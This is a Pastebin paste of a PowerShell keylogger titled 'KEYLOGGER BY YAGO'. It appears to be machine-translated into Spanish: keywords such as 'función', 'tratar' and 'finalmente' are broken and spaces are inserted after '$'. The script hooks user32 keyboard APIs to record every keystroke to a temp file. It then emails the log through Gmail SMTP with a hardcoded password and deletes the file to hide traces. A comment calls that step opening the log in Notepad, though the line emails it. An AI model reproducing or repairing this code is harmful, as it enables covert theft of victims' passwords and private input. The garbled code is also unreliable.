Advertisement
Guest User

Untitled

a guest
Jan 28th, 2020
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. ================================================== ===========================
  2. -------------------------------------------------- --------------------------
  3. KEYLOGGER BY YAGO
  4. -------------------------------------------------- ---------------------------
  5. ================================================== ===========================
  6.  
  7.  
  8. # Editar solo esta sección!
  9. $ TimeToRun = 2
  10. $ Pase = "2@3calles"
  11. $ Asunto = "Resultados del registrador de teclas"
  12. $ body = "Resultados del keylogger"
  13. $ SMTPServer = "smtp.gmail.com"
  14. $ SMTPPort = "587"
  15. $ credentials = new-object Management.Automation.PSCredential $ From, ($ Pass | ConvertTo-SecureString -AsPlainText -Force)
  16. ############################
  17.  
  18.  
  19. $ TimeStart = Get-Date
  20. $ TimeEnd = $ timeStart.addminutes ($ TimeToRun)
  21.  
  22. #requires -Version 2
  23. función Start-KeyLogger ($ Path = "$ env: temp \ keylogger.txt")
  24. {
  25. # Firmas para llamadas API
  26. $ firmas = @ '
  27. [DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
  28. público estático externo externo GetAsyncKeyState (int virtualKeyCode);
  29. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  30. public static extern int GetKeyboardState (byte [] keystate);
  31. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  32. public static extern int MapVirtualKey (uint uCode, int uMapType);
  33. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  34. public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  35. '@
  36.  
  37. # cargar firmas y hacer que los miembros estén disponibles
  38. $ API = Add-Type -MemberDefinition $ signatures -Name 'Win32' -Namespace API -PassThru
  39.  
  40. # crear archivo de salida
  41. $ null = New-Item -Path $ Path -ItemType File -Force
  42.  
  43. tratar
  44. {
  45.  
  46. # crear bucle sin fin. Cuando el usuario presiona CTRL + C, finalmente bloquea
  47. # se ejecuta y muestra las pulsaciones de teclas recopiladas
  48. while ($ TimeEnd -ge $ TimeNow) {
  49. Inicio-Sueño-Milisegundos 40
  50.  
  51. # escanea todos los códigos ASCII superiores a 8
  52. para ($ ascii = 9; $ ascii -le 254; $ ascii ++) {
  53. # obtener el estado actual de la clave
  54. $ state = $ API :: GetAsyncKeyState ($ ascii)
  55.  
  56. # se presiona la tecla?
  57. if ($ estado -eq -32767) {
  58. $ null = [consola] :: CapsLock
  59.  
  60. # traducir el código de escaneo a código real
  61. $ virtualKey = $ API :: MapVirtualKey ($ ascii, 3)
  62.  
  63. # obtener el estado del teclado para teclas virtuales
  64. $ kbstate = Byte de nuevo objeto [] 256
  65. $ checkkbstate = $ API :: GetKeyboardState ($ kbstate)
  66.  
  67. # preparar un StringBuilder para recibir la clave de entrada
  68. $ mychar = New-Object -TypeName System.Text.StringBuilder
  69.  
  70. # traducir clave virtual
  71. $ success = $ API :: ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0)
  72.  
  73. si ($ éxito)
  74. {
  75. # agregar clave al archivo de registro
  76. [System.IO.File] :: AppendAllText ($ Path, $ mychar, [System.Text.Encoding] :: Unicode)
  77. }
  78. }
  79. }
  80. $ TimeNow = Get-Date
  81. }
  82. }
  83. finalmente
  84. {
  85. # abrir archivo de registro en el Bloc de notas
  86. send-mailmessage -from $ from -to $ to -subject $ Asunto -body $ body -Attachment $ Path -smtpServer $ smtpServer -port $ SMTPPort -credential $ credentials -usessl
  87. Remove-Item -Path $ Path -force
  88. salida 1
  89. }
  90. }
  91.  
  92. # registra todas las pulsaciones de teclas hasta que se cancela la secuencia de comandos presionando CTRL + C
  93. # luego abrirá el archivo con los códigos clave recopilados
  94. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement